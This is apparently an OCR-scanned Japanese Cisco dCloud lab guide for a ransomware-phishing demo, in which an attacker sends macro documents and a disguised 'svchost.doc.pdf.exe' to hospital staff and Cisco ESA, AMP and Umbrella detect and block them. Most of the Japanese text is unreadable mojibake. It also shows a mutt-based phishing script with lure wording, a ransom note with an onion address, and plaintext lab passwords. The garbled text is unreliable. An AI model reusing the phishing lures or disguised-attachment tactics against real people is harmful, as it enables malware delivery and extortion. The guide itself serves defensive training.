40. 3—HFIRDET—DVRAT—2a> DI VEERTEET . RFTOBERRIL 198.19.30.100 AT LTY DI )L EDa—)L
LEIRIZ, ShoD T z/LE meterpreter S T)LIZFESE TEREMEL, SEHIZTHVRTOAMF B, KRR ED2—ILBHYET,

¢~ -
~> ~

198.19.20.5 127.6.0.1 198.19.360.1602 198.19.36.160
Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corpoi

COBERIRTR, EROBEENIIRTOA NIV RATLEFERALT, BEENRVMT—VIZELISRKER VM 5 HEERLE
LTz. COBITIE, struts2 DHESEMHZEEFD DMZ H—/\OBREZHIBLEL = ARIMDRXFr2IZ&L>T, Active Directory H—/ FIZ
L=, D7 AT 94— ILORBRDOMYZFELT=, FD Active Directory H—/\EFAL TEISITE RV T—9F AT v L, D
eternalblue TVRTOA MR L THESE TH D, BEMT— VAT —avERELELIZ, TOIVRTOSEFERLTOILERET S
CET, SHITFERYNTI—VITBATE. COVRATLEFEALTHD U AT LERET S, COVRTLNST 2B O ZHD
BEOHAITITIETAERITTHLNSIZENTEET,

—BMICEEOKREE. CSTETLELIG—EDIIVRTASRELTEITEINET , S RURT—IIHFTBIS5LI-HBEFHKES
RN OBt SNf-tF 1T BT R THHEHTT , Cisco Firepower DLE1T7—3a> & URL #EEZAMIZTHET.
BADEZEDHDY—AD DMZ H—/N\EBIEFT B EEMIETEET, Cisco Firepower IPS ZH#IZT L, BHECHTEIIRT

A4/ EIMEERFETEE T . Firepower T Cisco AMP ZF#CT 5&, COBELIRTHEALILIBAMO—FDOFERAZRHELTHL
T HEATREITRYFET,
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YFUE 4 SUHLLFUF

COIUHIATIE. L ITOBEZFHE LR TOEET, YLV T7ITELKOADIITHHYET . EICEEESh . RIDDAAT
AR RY ZHDI—TINERETHLDIHYET . COTRTHEATIRETE, FHTHENDL—FE2REL. TOERRVLNT—S
NEBIBBLTHRD VR TLERELEY  APTURMEKE) (THXEORYERINSUH LD TEMARER, —RHEIZZD L
BT OTLET,

O FI)ATIE, Mr. Black A&7 1= (Mr. Blue) Z L BIED B ELA T —RITHL TS Y LA 7THREF HENTET, BEK BT
EFLHTRTDT—EFTIEOEEFEL. HACKMDs fRlE M S a7 RY SR A /[HLICHYET . Chld. EFREERESVIaY
DVTANWGESRT L T7AIVEBIET HERRE BRI S ETERLET  MITH, R T—IF TV MEFREARLEZY
LCHEOFHEE R LT HEDHEAHYET .

COWEBETIE. V=9I TOP=FYLGEFIALTIVR A—HICRADOEEREHREETA—IILTEEL. BADIVEL—FTEZDOR
FAAVRERKISIZHERAITET  CORF1AVMIE WEBRERDIL O THEMICETIN. 3 DOVIMNIZTEAVAM—ILT BHTY
ONEFENTVET . COBEOHZVILIITIE. BEISNI=SUH LI T ELT, FERERD IR EY—ILERBETHYD
o7 ELTHRELE T REBOZLDTIILIITIZIE DAL AR RO VR R RGEFR@ T LFENMEAAENTEY., £Fa)
T4V 1—2avITESRHEERELTOET,

WENRNEF1AVNERCE. BRBEHERD I ONToH L7 E)E—FEEY—IL (RAT) [CRRELET RAT IZXY, UE—FKE
%1% HackMDs O AO—AJLTaATUREHRITLTEITTEST-6. HackMDs BER DD <L UIZESo Y LT T7EAV AN —ILT BT
EMTEET,

DA LA EDEBIESESELHETITONET  BLDOIMILARMERFvF (L. C EEUSTHaAVAAILENE=N(FUEFEEA
EFIEFE K RF YU TEEH A 12X, Google M GO §i&F (& Python TaI—FZav/MILTHhIL, ZLDIGE . — RIS
AIWAREENAIRATEET,

R
COVFIAERTITHE VIab— S EEEGEMMKRE(CL>T, HackMDs DR yhT—2(2x 3 2 REMLEEEETo-2&IC
BYFET, T4V T HBETVD., HERENMEDERTEHFRERCKSICHERIT. oY LD T E RAT [TEOTUVRTLERELET,

FOHEZICHHAIZTIVEZ ., RybT—28 LU R+ LR JLT Cisco Advanced Malware Protection (AMP) Z L. S LT
FERAT VI 7EEELTIEELET . S5IZ Cisco Umbrella 24V A= LT NIE, SOH LI TITRERELI=V R TLNEE
N, FTRTDY—ILHBNAIRRAEN-BETH.DNS LAV EFELT, BIDANXLTRELEEFIETEET,
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S LIITPIFRECIZHB? CIZIFALY

KEEL, T TITTRTOY—IUIUITVERATESD, ADNEITEINTOEMNEIEELTOSRIBEEAHYET . R TI, F-FZE->TIY
Ea—SBEEDOTEIHETAAVERDTNSIBEILE, SESFLHETRENRELIARMEIHYET.

HNIEERBEETHY ., RRF R—ADIURRAUMERE ., FYbT—9 R—ZXDRH ., SoI2E B ELETH/00—fhiHEHAEHE
T.HEBENTILIITEERICETT I EEHAIMSARITRIERYER A,

RERT7ATI+—IILERER IPS OB ENSIE, IPS OFRIFEELZAIICLIZIGEDAHTHRERETILITERTILELH
YET, ARG IPS O ETIE—MIBERERFENTEDLSITHEOTVET A, BLDIVE—TS54/4X IPS TIE, ERTIREICE
HEAENBRETYT, ThIZEY. ERTRAOICERLSFUNFTEN TSR TIERL, ZOREBEEAR OBENLIETEEEE)
IZfRETEDLSI2HYET, Cisco Firepower Recommendations Tld, 77U —LavBOIEHEMEEE . RybT—I(C BT 53FE
FHT R V—RIEDVT BHEEOHYMNE. EDQKSLEHEERNCTRENEHELETS , COTTO—FITKY . AAML IPS K
Jo—HABLT. RELEZWT YN EREICRETESLS1ZHYET, Cisco Firepower Recommendations D EE#EIZDULNTIL. Cyber
Threat Response 7V)=vo D)4 3 2SRLTZAELY,

R 1)Y—X
WEBEAYY—X 1: 544 &%y T—4_E® Kali Linux 2.0

WREMYY—R 2: XEEDFEDY—/ILEKRAN % Ubuntu H—/\

A— MY —XR 1:HackMDs R 11—

Fh#E4E11)Y—X 1:Cisco Advanced Malware Protection (AMP) for Endpoints
BH#EEIY) Y —XR 2:Cisco Advanced Malware Protection (AMP) for Networks
BEEEEI') Y — X 3:Cisco AMP Threat Grid

R4 Y—X 4:Cisco Email Security Applicance
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FIIE
ZOFRTIE, M. Blue (H7:12) 1, BOERERAFN SN BFA—LEI—FABCESIHEITET  RISHERFERLTE
FAAURESYYIL KRS YR LEBREEET, TRESTIV Y AOTT ISR THEERET 277 (L ERSIELET,

5 E(XRBATEMAEIZE]Y & % . Cisco Advanced Malware Protection (AMP)ZB#ZLT. EEOHZV Iz 72 HELEFT . BERES
A AMP NEEDOHLIEEEHRTEL T, REDRELXHHTIDOEERLET,

Kali Linux &Y —/\ZlE, 2—H4 :root, /SRAT—K:Clsco12345 T7HtERALET,

AMP Private Console ® 1—4H4£ 1 dcloud@hackmds.com. 78X —F[& Clsco12345 TY,

Rykryk aTUR PUR avbA—)L Y— NI TR TEBILEZHERT S

3 WEHELT Kali Linux B S —/ 2K L . Kali Linux THREZEZB1HLED,

1. KaliLinux YR T LITHERGLET,

2. ROARUREAALET (Linux TIERXFENXFLRFNESNET),
#:/bin/bash

root@kali:~#:cd /root

root@kali:~# ./start-empire.sh

# cd /root
oot@l # ./start-empire.sh
Instructions:

Use :$ screen -1s to check if empire is running.
Use :$ screen -r empire to connect to empire.

il |

#E:Powershell Empire [&. BATRE—/ALEH/NYA—D fEBEDH AL AT LOTAMKEIFERT HY—ILTT, COY—IL
[%. Microsoft [C##&AFEN TLVS PowerShell AR R S x)LERA T4 THEALT, BHZREBL. HIRZ/N(/RALET,

3. ZOFRTIEARUR A2 A= YA TUMEFERLET . — BB EFA—IL TIVhIr—LAlE. ENERBEDHETHEELE
_a—o %%)‘-)b%iﬁ{% L'CHQE Lc,tao

FERERRERBEOMAZELSH-D. EFA—IILOABEEETHFEVNFEFEA BEIZE, KERRNBEMDOTIa0ETIE&
SITHWEAYE—DFERLIENE, A= LD BIBRENTLENET
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4. F—)LHEBRY)T EHEZELTEITT SIZIE. Kali Linux #—37 )Ll Cat /root/Desktop/send-phish.sh jIav > REETLET,
A—HFIRAA—REALVR—ILTBESERIT D, Tavi oy Avt—2 RV TROAVTUIYNRTINET
= Terminal - root@kali: ~ A Y——

File Edit View Terminal Tabs Help

‘oot@kali:~# cat ~/Desktop/send-phish.sh

echo "This is Important, I'm a patient can you review my record?" | mutt -s "Ple
ase Open, much Pain!" dhowser@hackmds.com -a "svchost.doc.pdf.exe"

echo "This is Important, I'm a patient can you review my record?" | mutt -s "Ple
ase Open, much Pain!" nurse@hackmds.com -a "svchost.doc.pdf.exe"

echo "This is Important, I'm a patient can you review my record?" | mutt -s "Ple
ase Open, much Pain!" dhowser@hackmds.com -a "PatientMedicalRecord4572451.doc"
echo "This is Important, I'm a patient can you review my record?" | mutt -s "Ple
ase Open, much Pain!"™ nurse@hackmds.com -a "PatientMedicalRecord4572451.doc"

5 A v.“:“i;i: #

FE:CORVIVTME 4 DDERBDIEFA—ILTHEAIN ., RDKSIZHEELE T, echo DI This is Important I AYE—C DAL TH
Y, IATEHATHA—IL 954T7 UL THS mutt [THEEET . mutt 7TV —23> RN IS5 (&, -s B TR (Subject) 1. -a D3 54T
J74 )L (Attachment) |ZRLTHY . F—5 vk A— LRy X (& nurse@hackmds.com & dhowser@hackmds.com @ 2 2T,

5. cd Desktop AYUREERITLTTRAIMTIZBBLET . RIZ[ /send-phish.shIEAAL T, 4w A —LEZETERAI)T
FEETLET,

/send-phish.sh

FE:OYUFA® /send-phish.sh DFTIZIZEY AR O)DBHYET  L—bDSERITTERVMEE (E. TRIMTITBEIL TRV T ER
TLET,

# ./send-phish.sh

6. BRHETIRVDBMAI7ZAIVIERDEILIVIZHYET . 2 BEHDORMI7MILIEL FRlITEBESAE-/OQO VI EENT-
Word KFa AUk I74/4ILTT,

IHRTOA+DEA

1. TEHEBINDEFA—INESLG>TNENERTHELLS, Jumphost T Firefox ZBALVT https:/smtp.hackmds.com I1ZFELFE
Yo RIRSNTWVBIA VY Y U%ERLT Cisco ESA ITT7 IR TBHIELTEET,

el ESfesils ESA-MessageTracking

2. aA—H4%:admin 8&U/SRT—K:Clsco12345 ZFALTOY 1 LET, Cisco E A—)L XaUT4 TTSAT R (ESA) DA
A2 By aik—RRRTINET,
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alrale Cisco C100V

cisco Email Security Virtual Appliance

[, Monitor Mail Policies Security Services Network Systemn Administration

My Dashboard

Attention — 4\ You can customize this "My Dashboard" page by adding report modules from different
reports. Some modules are added for you by default. The Overview page can be accessed
from Monitor > Overview.

System Overview

Overview > Status B3 Overview > Quarantines - Top
Quarantin
File Analysis
System Status: Online
Incoming Messages per hour: 0 Policy
Messages in Work Queue: 0 Unclassified

System Status Details Local Quarantines

3. BUOAULES, ZOT NI RADHEHEREHDRLET . BEFRABITTFABICRYA—/LTSE, HackMDs A—HNRETULVHA—
LDBATIZET S BELANILOFHERAR TSI TOET,

Overview > Incoming Mail Summary

B stopped by Reputation Filtering 0.0% o

Stopped as Invalid Recipients 0.0% 1]
Spam Detected 0.0% o
Virus Detected 40.0% z

B Detected by Advanced Malware Protection 40.0% 2
B Messages with Malicious URLs 0.0% o
B stopped by Content Filter 0.0% il
I stopped by DMARC 0.0% il
B s/MIME verification/Decryption Failed 0.0% o
Total Threat Messages: | 30.0%.5. 4

Marketing Messages 0.0% o

B :social Networking Messages 0.0% o
B Bulk Messages 0.0% o
Total Graymails: IJ.[I%.-__. i} .

3/MIME Werification/Decryption Successful 0.0% o
Clean Messages 20.0% 1
Total Attempted Messages: | | 5

4. ESATRHEBOIVOUEFHEALT. L7 O EEBREEITICENTEET, ChHDIUDUEEBAICL, fifTLTHER
FTHIENARETT , [V LR (virus detected)] ELTHEIN TS AV E—U W HEI LMV ET , CHIFEETIEHYE
BA RINLRET— Iz 1E, —fRHIZZRNLOZDMD I TOEEDHAS571v9%ETOVILET . CORVIYTEHRE
RITAIEEELLIEHAT-NERTHAELL,

COTRTIEAYE—D FOYERUY A= —FHRBLET Aoa— SRTFLIREGDEENHY . BEOREEIFIE LTV
ZEDHDT=H.ESA Avt—Y bovX T ICEET IR TER) U YEAELTLET, Chrome DRIDET 4RI T, REL
TWTvoI—o M5 [ESA Avt—h5vF 2 5 (ESA-MessageTracking)] RAVE I ILET,

Py

e ESf sl ESA-MessageTracking
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5. Ayt—T rouFY VRTFT LT [#RFE (Search)] REAVEHUvHILET,

Message Tracking

Available Time Range; 03 Dec 2017 17:22 to 09 Jan 2018 23:46 (GMT -05:00) Data in time range: 94.74% complete

Envelope Sender: (7) Beqgins With ¥ I

Envelope Recipient: Beqins With ¥ |

Subject: | | Begins With ¥ I
Bt el | Last Day Last week Custorn Range
Start Date: Tirne: 4 End Date: Tirne:
Jo1/08/2018 23:00 Y [orosszois [z3i4m {(GMT -05:00)

b Advanced | Search messages using aduanced criteris

6. EIEDAytE—%F R T, [Dropped by antivirus (VA LRSI R Y TR 7 ICK>THIBREH) IERTINTVDEDEIFELET,
%R BI13 [B# D & = (Show Details)] #9JvoLET .

B

Results Items per page
Displaying 1 — 20 of 23 iters. Page 1 of 2 « Previous |[1]2] Mext =
1 09 Jan 2018 21:08:19 (GMT -05:00) MID: 121 Shaw Detajls 0P

SEMDER: dcloud@attack.com 4
RECIFIENT: dhowser@hackrds.comm Yy
SUBJECT: Please Open, much Pain! g

LAST STATE:

Message 121 aborted: Dropped by antivliri.ls

FEBEISSCTIZVTEREHRTEM. 7197 Vo 0EBEV)YILTEEREZREEHL. R/VL A—LARTENDEIILET . E
FA-IWERZELTOORNL A= LERRTEDLIITLRDET, MM BEHEELHYFET .

7. ZOBAETEH.ZOBEFA—IIZIANR T7ALBEENTNSEHMT 5=HICV AT LAERLEIO D ETOERD RN
FRSNFET, ERRIZIL. Sophos Antivirus MDD I7AIL%E, BELIZEITRIEEI7AILELTISTHIFLELZ. SOTFAILIE
EHDUATLNEEMICL Y —F v EIET S Metasploit Meterpreter /XwYR 7 THBT= . ELLRISNTLET,

Processing Details

MAIL POLIC EFAULT" MATCHED THESE RECIPIENTS: dhowser@hackmds.com

Protocol SMTP interface Management (IP 198,19,20.8) on incoming connection (ICID 118) from
sender IP 198,18.133.5. Reverse DNS host ubuntuattack.ad.hackmds.com verified yes.

(ICID 118) ACCEPT sender group UNKNOWRNLIST match sbrs[-1.0:10.0] SBRS 0.9 country
MNone

09 Jan 2018 21:08:19 (GMT -05:

09 Jan 2018 21:08:19 (GMT -05:

09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:

119 (GMT -05:
119 (GMT -05:
119 (GMT -05:
119 (GMT -05:
119 (GMT -05:
119 (GMT -05:
119 (GMT -05:
119 (GMT -05:
119 (GMT -05:
119 (GMT -05:

Start message 121 on incoming connection (ICID 118).

Message 121 enqueued on incoming connection (ICID 118) from dcloud@attack.com.
Message 121 on incoming connection (ICID 118) added recipient {(dhowser@hackmds.com).
Message 121 contains message ID header '<20180110020821.GA6329@kali.attack.com=>",
Message 121 original subject on injection: Please Open, much Pain!

Message 121 (102137 bytes) from dcloud@attack.com ready.

Message 121 matched per-recipient policy DEFAULT for inbound mail policies,

Message 121 scanned by Anti-Spam engine: CASE. Interim verdict: Negative

Message 121 scanned by Anti-Spam engine CASE. Interim verdict: definitely negative.
Message 121 scanned by Anti-Spam engine: CASE. Final ver:“n;iﬂ*-__'\{egative

09 Jan 2018 21:
09 Jan 2018 21:
09 Jan 2018 21:

120 (GMT -05:00)
120 (GMT -05:00)
120 (GMT -05:00)

Message 121 scanned by Anti-Virus engine Sophos. Interim verdict: VIRAL
Message 121 scanned by Anti-Virus engine. Final verdict: Positive for 'Mal/EncPk-T2'
Message 121 aborted: Dropped by antivirus

8. MDFFAAUMIESLGoF=TLLIM,
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ECOBATIE, HBSWBAIELTITHLTWET, DFY., VRATLAICEKLTHRERLLTAI AV T ELELABYET ., COHIT
I&. €28 TdH5 Dr. Howser ZELFET,

9. RIZRTTARIMT FA4a2%4)v- LT Outlook ZBAZFET,

(&

Microsoft
Outlook 2010

10. EFA—ILHNZEINAIZEET L ~ 2 90 hYET, Dr. Howser DZEFAITBDEFA—ILABNTWSIZT TT, ThEy
JyLET,
4 Favarites <
L -] Inbox (1]
=] sent ltems
(a] Deleted Items (2)

";-earl:h Inbox (Ctri+E)

Arrange By: Date Mewest on top

4 Yesterday

| Patshience Mon 11:44 PM
[WARMNIMNG: ATTACHMERM... 11}

4 dhowser@hackmds.com

[ Inbox 11}

11. ABZEHA . Word FFar bEFTTILI)vILET , a—FEIDKIITTav oV TREICEFEN . FEGT7AILEERTLET,
NIFREMFRTHEREISEESTVHIETY,

From: Pat shience <ddoud@attack.com>

To: Doogie Howser

Cc

Subject: Please Open, much Pain!
______________________________________________________________ | e rrrrrrrrrrrrererrrrerrerra

- Message | l&:l]PatientMedicaIRecord4572451.doc (222 KB)

This is Important, I'm a patient can you review my record?

12. Microsoft Word A#2E1LE Y ., Microsoft Word FF oAV MIRFRENZERLRY /N\—D [RESH-E 21— (Protected View)]
T. [REZEMICT S (Enable Editing)] NEINEHERINET , [IREZXF T 5 (Enable Editing)] K2 &Sy oL., [EFal)
T14E4& (Security Warning)] T [>Ty DAL (Enable Content)] R22 &SI LET,

@i H 3 |= PatientMedicalRecord4572451 (Protected View) - Microsoft Word

Home Insert Page Layout References Mailings Review View

o Protected View This file originated as an e-mail attachment and might be unsafe, Click for more details. Enable Editing

13. I7AIDETEINEE. T4 FXaAVMTCIERIOZEDIZTDLSITIEREINET . AT YDA (Enable Content)]

=) vILET,
| & (L MK PatientMedicalRecord4572451 [Read-Only] - Microsoft Word Picture Tools| i‘a &P,

File Home | Insert  Pagelayout  References Mailings  Review  View Format a |
& Cut . = Jlar v T A 1 % 4 Find -
< CalibrifBody} |11 |A A [ AaT | TP AN AaBbCeD | AaBbcede AaBbCc AaBbCel AQB| acsbcel acsbeene aasbee: e
EE a7 “ac

Paste . : L. A A= By v i 1 — Change
S romatpainter| B 4 U 7 e X X A = | & Normal |17 NoSpaci.. Headingl Heading 2 Title Subtitle  Subtle Em.. Emphasis Sande| Koseici 7
Clipboard 5 Font B Paragraph 3 Styles 5| Editing

1) Security Warning  Macros have been disabled. || Enable Content 3
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FE:Outlook 757U rDERTIARURSAY D4R IDREES . BEDBERDH AV ILIIT RNV YT FIURTEITEN. 2D
LINCRRENGENEEDNHYET, COLIREDRHDE. TDTFAIVICEEAHDENICEEZI—YF N ER T HAREMELH ST
T, SEFSARRETHEH. ATLAREFZEELTVWERE A, REOTILIITIF. CORRTURNTEIEMBLEIIELFT,

14. Outlook IS4 FUbDE®RTIARURSAY 94V FIBREET,
15. Microsoft Word #52£&I2#TLET,

16. spoolsvc.exe MEITSNBENEVSIS—HRFSINE, TNEEELT [FOJSLE#K T T 5 (Close the Program)] Z##RL

_|ol i
spoolsvc.exe has stopped working

Windows can check online for a solution to the problem.

«» Check online for a solution and close the program

| «» Close the program

Ll View problem details

17. SUH LT DA vE—TH Dr. Howser DIAVE1—ZIZHBMIZRTEINEDIE 5 R ETHAH. CCTHREZESDHENT
L&de RDBIDESIZ, SH LI T DRESICHILIZKED DR T—YRT—avIcRFRSINz0, RORTYTIZEHAFT,

/E C:\Users) dhowser' Desktop' +RECOVER +iirum + htm - Internet Explorer BEIES | | NOT YOUR L ANGUAGE ? USE hitps:/ / transtate. google.com

CAUsers\dromseriDeskop| $RECovER +rums. O ¥] |2 C:\Users\dhowseriDesktop), | o e i v s el
Bl | Your data was secured using a strong encryption with RSA4096.
NOT YOUR LANGUAGE? USE Google Transiate Use the link down below to find additional information on the cncryption keys using RSA4096:https:/ / cn. wikipedia.org/wiki/RSA_(cryptosystem)

ppened to your files? [P —

f ted by a strong encryption with RSA4096
semation about the encryption RSA4096 can be found hiig

RSA " It means that on a structural level your files have been transformed. You won't be able to use, read, see or work with them anymore.
R In other words they are useless, however, there is a possibility to restore them with our help.

What exactly happened to your files?

not be able work with them, n

*** Two personal RSA4096 keys were generated for your PC/Laptop; one key Is public, another key Is private.
*** All your data and files were encrypted by the means of the public key, which you received over the web.
*** In order to decrypt your data and gain access to your computer you need a private key and a decryption software, which can be found on one of our secret server

What should you do next?

There are several options for you to consider:

1. You can wait for a while until the price of a private key will raise, 50 you will have to pay twice as much to access your files or

2. You can start getting BitCoins right now and get access to your data quite fast.

In case you have valuable files, we advise you to act fast as there is no other option rather than paying in order to get back your data.
tdo?

cess your personal homepage by choosing one of the few addresses down below:

udhlkunrifu25fkaqw 34blr Salby4tgq1.

s your personal homepage
Browser - hitp:/ / weew.

4 Insert the following link in the address bar: k7tix3ghr 3m4n2tu.onion/ CBCCBI 20809 1C550
5 Follow the instrixctions on your screen

lome reasons the addresses are not available, follow these steps:

IMPORTANT INFORMATION
<

CIETT.HEFBLLTITEIL, Y RATLANSIUY LAY TICRELELEL -, RIZHEORAICUIVER, SV LIIT7OEX1 T4 A
DUTURNEEBLTHAELLS,

AT UMNDRIGENT—D

KEH[RDOIIUNIUH LTI L= T, BFEMAIIZARY | Cisco AMP & Cisco Umbrella # BEIRIICE AT 5= IZfERL
= BB A T UOMRIERDY TR EFERLEY . ChIFIREDAV T UMK FUAIZBULE=RERIZRYET,
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FAVUTUMISIE YDA T, ZOHLWEBICHIELAETNIEZY EE A, Cisco AMP #8 AT 35E XL DEHYET . &
AFEDHELTIE, Cisco AMP Y IRz 7% A OV A—RTERI 0 1—HFITEETSH. TRINTERT T r—avEERAL
T Cisco AMP Y+ x7% v 29 %, Fi=ld Cisco AnyConnect 7547 rDFEEN I Cisco AMP #EeF ERT L EDHEMN
HYVYES,

CCTIR AV TUMNEB LY TIATHSEM D, RV TMEERALET

DR ERILTRIMT T, M)7—CZBIBLE T, LTOFIEE Jumphost TAOMY T TEITTHELD TIHAEL=8 ., BE#L7- RDP DR
D—HRT—2avDTRAIMN T IZFDEENSZEEHERLET,

1. SUHLYITIZEH>T,. avok FAVTrOIRuNIA T av REDIZHYET, ChERETBIZE. BEFOT—9RXTF—30T
UTOFIEEETITILELHYET,

F EBEOHBIINIZTHARL—T42T VAT LRNDOBEEEZEMLTELIE, JKHBZETT, ChIZIE,. BEDOHDVILILT
DIRHEHIREREIZTZEMLAHYET,

2. FLADTERIZH S Windows Explorer 24WE DTV E0)vILET,

e

' 54 —a
_ Start J:HJ

3. Explorer 94> R IMRREINTE, X LEICHIBRFEDXF ([547 3 (Libraries)] % &) #HIBRL T. WAD1\Netlogon a3 K%

ABLET,
1ol
[CoNm-——— Ta
Organize *  New folder =~ [ @

4. Incident-Response Z4ILAEE T IV LTHREET,

_'_ Netlogon | - 101 x|
e gl —
‘G\ )v I‘ * Network = AD1 = Netlogon ~ - m‘
Organize Mew folder = ~ 0 @
¢ Favorites Mame “ Date modified Type Size | |
B Desktop | Incident-Response 12/4/2017 2:09 PM File folder
4 Downloads

5. IR.bat Z7AINEFTILY)vITHM,. H5HvILT [FAK(Open)] ZERLET, [EEEELTEST(Run as administrator)] [:E
RLELTLESLY,

& Bl FM Windows Batch File

- Open
& Protect_FireAMPSetup Edit FM Application 47,133 KB
Print
"‘;' Run as administrator
Troubleshoot compatibility
7-Zip (2
CRC SHA 2
[ Edit with Notepad++
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6. RUVTEMETITBETIZEESIIYET,

indows' System32\.cmd.exe

*\NAD\Net logon\IR’
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.

C:\Windows>net use X: ““\Ad\netlogon:\IR
The command completed successfully.

C:\Windows>msiexec /i R:“odns\Setup.msi /gn ORG_ID=287188% ORG_FINGERPRINT=35dd6
d?fPaBec5c1df99ec34821365h4 USER_ID=7670417

7. AMP H37adEd 1 DDERITRIEET 71 L. spoolsve.exe ZRBELIZEVS Ay E—UNRTINDEELHYET, COAvE—
(X, TROMNT DA TRBIZRTINET  RABWNMEE X, TRIMNTORAIZRIO—LLET IR T LIRREINDLILR
UEt A,

3¢-Cisco AMP

@ Warning!
Threat Quarantined

| spoolsvc.exe has been detected as W32.1C3F3ESD69-
95.5BX.TG. Quarantine was successful.

/

G

3

8. CZCTHITEH.AMP TURRAUE I—Dx o bERWNWTRY D —2RBHLET  TURRAU b T—D 0 MMEY—IL FLAIZHY
9,

|

e

9. ZZTHEBOAH(AMP)ZZTILYYYIL, [R5 (settings)] IFBEILET,

Customize. .

i 351 FM
[
" sjzsjore =

\

Cisco AMP for Endpoints

i
cisco

About
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10. ZCT [[RYT—DREH#A(Sync Policy)] #BIRLET .

(General Settings &
Protection
Manitor Program Install (— ?
Monitor Program Start (= ?
Blocking Mode =
Manitor Network Connections [~

Cloud Detection Engines

ETHOS =
SPERO =
TETRA Detection Engine
Endble TETRA Engine = ?
Allow Defirition Updates = ?
= T =
Sync Policy Close

11. 2 EBRTSE, RYS—DBT TICEEASN TSI EERT IS —NRRINFT . CWTRIEHYFEE A,

F:COSRTIE CNETISOIILVITEREL, AV TUNRIESFTUF T AMP 28 ALELE, SR TIEIERDIHE O LS FREA
BBLTLVEW O ZITHFOI7MIVEDBEIEHINTOER A BEDVATLTIK, T7MLHBETINT AV TUMGE
LTIZAILERTHRD NI 2D AERENET . SEDSHRTIE, ERETRET SO, IILIITEEERTIHETY

AT LBARUNED—LLRICERHFLET .

12. Kali IZE>Tl./send-phish.sh](EXEI) EA AL, Enter #HLFET,

13. DR [ZRYE T, Microsoft Outlook ZRiE . BFA—ILDEZ{EZEITOT Outlook ZEHLET,

(&

Microsoft
Outlook 2010

14. ZELEA—ILZREET,

4 Favaorites o
L |Search Inbox (Ctrl+E] ,
L _] Inbox (1) :
L—;—j S :Arrange By: Date | Mewest on top
(a] Deleted Items (2)
4 Yesterday
4 dhowser@hackmds.com —| Patshience Mon 11:44 PM
e [WARMIMNG: ATTACHMERN... 11}
-1 Inbox i1}
15. Word FFa AV ELTILIUYIL., EEREEICLET,
@{ H -0 |= PatientMedicalRecord4572451 (Protected View) - Microsoft Word
Home Insert Page Layout References Mailings Review View

o Protected View This file originated as an e-mail attachment and might be unsafe, Click for more details. Enable Editing

16. YUOLABERTINDKLIIZLET,

(W = i L NES PatientMedicalRecord4572451 [Read-Only] - Microsoft Word i‘m &,
Home Insert Page Layout References Mailings Review View Format |
:Z:;y GlibriBody) 11 - A" A7 Aam # IZ AaBbCcDc | AaBbceDe AaBbCe AaBbcel AQB! AcBbcer acsbeen: aasbeene = '%1‘; i:::m
Paj"  Format Painter B 7 U ~abe x, X WA= TNormal |1 No Spaci.. Headingl Heading2 Title Subtitle  Subtle Em.. Emphasis - g:ﬁ;‘ff N Select~

Clipboard £ Font * Paragraph » Styles ) Editing

1) Security Waming  Macros have been disabled. Enable Content b
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3E:EMED Spoolsve.exe (&, Windows DH—E X (Windows Print Spooler #—E R) TY, AMP (D HEDE—#E(2/ w1 ZBH T
518, 4D spoolsvc.exe H—E X% EFED Windows RT—5 Y —EREFRELEBEDHLIEDELTHETHIENTEET, Fi:
AMP Tl&. 20 spoolsvc.exe H¥. KYIDEITAIRET 71/ L THAH I EE R Microsoft Signed Executable TIFEWIEERRLET

17. RIZ. Cisco AMP M7 —A%INEL TSI LEHERTIBHENHYET . Zhid Cisco FireAMP BBV —ILTITLET,
Jumphost TRIMYFIZRYET,

FEEMDT—IRT—2av Mo ROFIEITED O T, 47 Jumphost TXIbyTIZRSTEELY,

18. Jumphost T Firefox ZBE. Y—IL/A\—M5 Private AMP a2V —)LIZHBEILET,

& Apache Guacamole ¢ Sourcefire FireaMP X

~ -5 C o ® & htips:/famp.hackmds.com/users/login

= Apache Guacamole ¢ Firepower Private AMP Console 5W Stewalthwatch &2 ISE @ Splunk ¥ Nexpose

19. 1—4%4 admin@hackmds.com. /SXJ—K:Clscol2345 TR A4 LET,
20. AMP #waR—RARRENET, B L= DR T—9RT—SavV(CBT 5 75— b RRENET,

Dashboard

Overview = Events  Heat Map

Indications of Compromise Hosts Detecting Malware (7 days)

DR.AD.HACKMDS. COM i Nark Res olved Computer Count

Executed malware, Threat Detected, Multiple Infected Files F‘R‘AD‘HACK MIDSH 112

DR.AD.HACKMDS.COM DR.AD.HACKMOS.COM 32

Threat Detected,, Executed malware , Multiple Infected Files contractor 13

contractor © ~ | MarkResohed DR.AD.HACKMDS.COM 4 il

Threat Detected DR.AD.HACKMDS.COM 1
real

DR.AD.HACKMDS. COM & > MarkResahed Malware Threats (7 days)

Threat Detected

Detection Name Count
—

W32 File.MalParcit

W32 16CB133B61-1t 20
W32 FIABDC1EOD- 17
W32 2546DCFFCS- B SBX TG 12
W32 1C3F3E5D69-965.5BX.TG 11 \n—

21. BEELIETURRAVMZ AMP ARBASh-DT, BPELI=TURKRAUET AMP ARHLEEEDHDITRTHD/\wia%k, -5
IZTSYIURMELET . COREL. TURRAUREIT AMP DAYV AR—ILENTWB VAT LE, FYRT—HEIF AMP [2&-T
RESNTLWBTRTOTNARIZEBRSNET,

EAMP ([ BERIDOTILYLT YT ET R TEBMNICHRELTRELET . FEICBELBRBABRH INEASREHIN TLVELE
BICIE, ATREEDHEBRO YU T ILESTAIZ AMP VR Ry I RICTYTA—RL T, F7M LD BRTHINE SHEEEET 5FIE
FEBMTEIENTEET . BEIDTOERIL, AMP for Endpoint MEEDIT7AILEBENHEI7AILELTIZIHITTHLEEE
SNFET A, Cisco dCloud SHRBRBETERINTVS X1 )T RN ERTIOTALRERRTIIENTEL =D, FETHEE
TEIBLENHYET,
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22. A=a—h5 [BEIE (Management)] > [AvE1—% (Computers)] DIEISERLET

Management ~

Quick Start

j Computers

¥ oups
Policies
Exclusions

Download Connector

23. 7—9RT—3> DR.AD.HACKMDS.COM NERREINET, RIZTTSREEE (+)%&9)vH LT, DR.AD.HACKMDS.COM 7—%
AT—avDiEMERRALET,

Computers O view All Changes

Filters no

ImlE =
r %8 contractor in group Audit
2% DR.AD.HACKMDS.COM in group Audit
‘/" 48 WOW.AD. HACKMDS.COM in group Audit
